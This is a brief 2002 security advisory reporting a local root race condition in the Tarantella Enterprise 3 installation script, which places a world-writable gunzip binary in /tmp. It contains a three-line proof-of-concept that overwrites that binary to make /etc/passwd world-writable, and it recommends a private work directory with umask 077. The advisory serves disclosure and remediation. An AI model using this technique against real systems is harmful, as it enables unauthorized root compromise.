======Vulnerability report for Tarantella Enterprise 3====== //1/14/2002// **1. local root compromise during installation:** The installation script provided with tarentella handles utility packages during installation insecurely. A root owned binary "gunzip" is created in /tmp with world writeable permissions, the pid is appended to the filename. TMP_GUNZIP=$TMPDIR/gunzip$$ $ ls -l /tmp/gunzip16152 --rwxrwxrwx 1 root root 51808 Jan 14 00:15 gunzip16152 gunzip is extracted: extract gunzip > "$TMP_GUNZIP" 2>>$SHXLOGFILE extract gunzip | uncompress > "$TMP_GUNZIP" 2>>$SHXLOGFILE The permissions of gunzip are changed to rwx for all: chmod 777 $TMP_GUNZIP >/dev/null 2>&1 The binary is used during installation: extract $efilename | $TMP_GUNZIP -q > "$efilename" **2. Exploit:** There is a race condition between when gunzip is extracted and used during installation. At which time a malicious local user could inject code to compromise the system quickly. $ echo "#!/bin/sh" > /tmp/test.sh $ echo "chmod 777 /etc/passwd" >> /tmp/test.sh $ cat /tmp/test.sh > /tmp/gunzip16152 I was able to change the permissions of /etc/passwd to 777 by performing the above as an unpriviledged user. **3. Recommendations:** Perhaps create a directory in /tmp or /var/tmp and use that directory as a work place? umask 077 mkdir /tmp/workdir **4. Software: Tarantella Enterprise 3** http://www.tarantella.com/download/e3/